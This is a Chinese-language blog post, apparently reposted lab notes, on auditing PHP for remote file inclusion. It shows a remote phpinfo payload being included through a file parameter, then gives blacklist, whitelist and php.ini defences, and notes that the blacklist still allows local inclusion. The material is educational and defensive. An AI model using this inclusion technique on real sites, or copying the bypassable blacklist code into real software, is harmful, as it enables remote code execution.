PHP代码审计:远程文件包含漏洞

原文链接: https://blog.csdn.net/God_XiangYu/article/details/97911196

当你的才华

还撑不起你的野心时

那你就应该静下心来学习


       代码审计学习线上实验,都是CE一边实操,一边整理的笔记,方便以后翻看时,可快速查阅。

目录

一、远程文件包含漏洞

二、文件包含漏洞防御

代码层面防御

三、配置层面防御


一、远程文件包含漏洞

       如果目标主机的allow_url_fopenallow_url_include是激活的(前者默认是激活的),我们就可以有更大的利用空间,我们可以指定其它URL上的一个包含PHP代码的文件来运行。(同样不需要后缀名是php的格式,只要内容是代码就可以) 

       首先,先把去将appache2下把php/ini文件 里的allow_url_include设置为allow_url_include = On,配置完成后,重启一下apache2服务

先将info.txt文件上传至n另一台服务器,url:http://labfile.oss.aliyuncs.com/courses/895/info.txt

info.txt:


  
  
  1. <?php
  2. phpinfo();
  3. ?>

继续在之前的url输入?file=http://labfile.oss.aliyuncs.com/courses/895/info.txt 

可以看到info.txt中的代码被成功执行.

二、文件包含漏洞防御

文件包含漏洞的防御主要是用代码和配置两方面入手。 从代码层来讲,在开发过程中应该尽量避免动态的变量,尤其是用户可以控制的变量。 至于防御主要有两种方法:

  • 采用白名单的方式将允许包含的文件列出来,只允许包含白名单中的文件,这样就可以避免任意文件包含的风险。
  • 采用白名单的方式将文件包含漏洞利用过程中的一些特殊字符定义在黑名单中,对传入的参数进行过滤,但这样有时会因为过滤不全,导致被有经验的攻击者绕过。

接下来我们来尝试对fileinclude.php进行修改:

代码层面防御:


黑名单验证:


使用黑名单过滤,修改之后的代码 fileinclude_black.php


  
  
  1. <?php
  2. if ( isset($_GET[ 'file'])) {
  3. $file = $_GET[ 'file'];
  4. $file = str_replace( "http:", "", $file);
  5. $file = str_replace( "https:", "", $file);
  6. include($file);
  7. }
  8. else{
  9. echo "使用 file 参数包含文件";
  10. }
  11. ?>

以上代码通过str_replace()函数将用户传来的数据进行了替换,主要是将http:https://都替换成了空,这种替换主要是针对远程文件包含。

在浏览器中打开修改后的页面类似(具体怎么输入看你自己的配置):http://localhost/fileinclude/fileinclude_black.php,输入?file=file.txt:

本地文件包含依然存在。 再输入?file=http://labfile.oss.aliyuncs.com/courses/895/info.txt

远程文件包含已经成功过滤掉

白名单验证:


使用白名单过滤,修改之后的代码 fileinclude_white.php:


  
  
  1. <?php
  2. if ( isset($_GET[ 'file'])) {
  3. $file = $_GET[ 'file'];
  4. if($file != "right.php")
  5. {
  6. echo "错误!不能加载此文件!";
  7. exit;
  8. }
  9. include($file);
  10. }
  11. else{
  12. echo "使用 file 参数包含文件";
  13. }
  14. ?>

以上代码通过白名单的方式对用户传来的数据进行验证,只允许包含right.php文件,如果不是right.php则打印错误。

在浏览器中打开修改后的页面:http://localhost/codeaudit/fileinclude/fileinclude_white.php,输入?file=file.txt

显示加载错误。 再输入?file=right.php

显示加载成功。 当然关于白名单和黑名单验证的实现方式有很多,这里只是起到一个抛砖引玉的作用,有兴趣的同学可以自行做深入学习。

 

三、配置层面防御

      通过在php.ini中设置allow_url_fopen = offallow_url_include = off,可以有效的防御远程文件包含漏洞


我不需要自由,只想背着她的梦

一步步向前走,她给的永远不重


猜你喜欢

转载自blog.csdn.net/bylfsj/article/details/102731818
今日推荐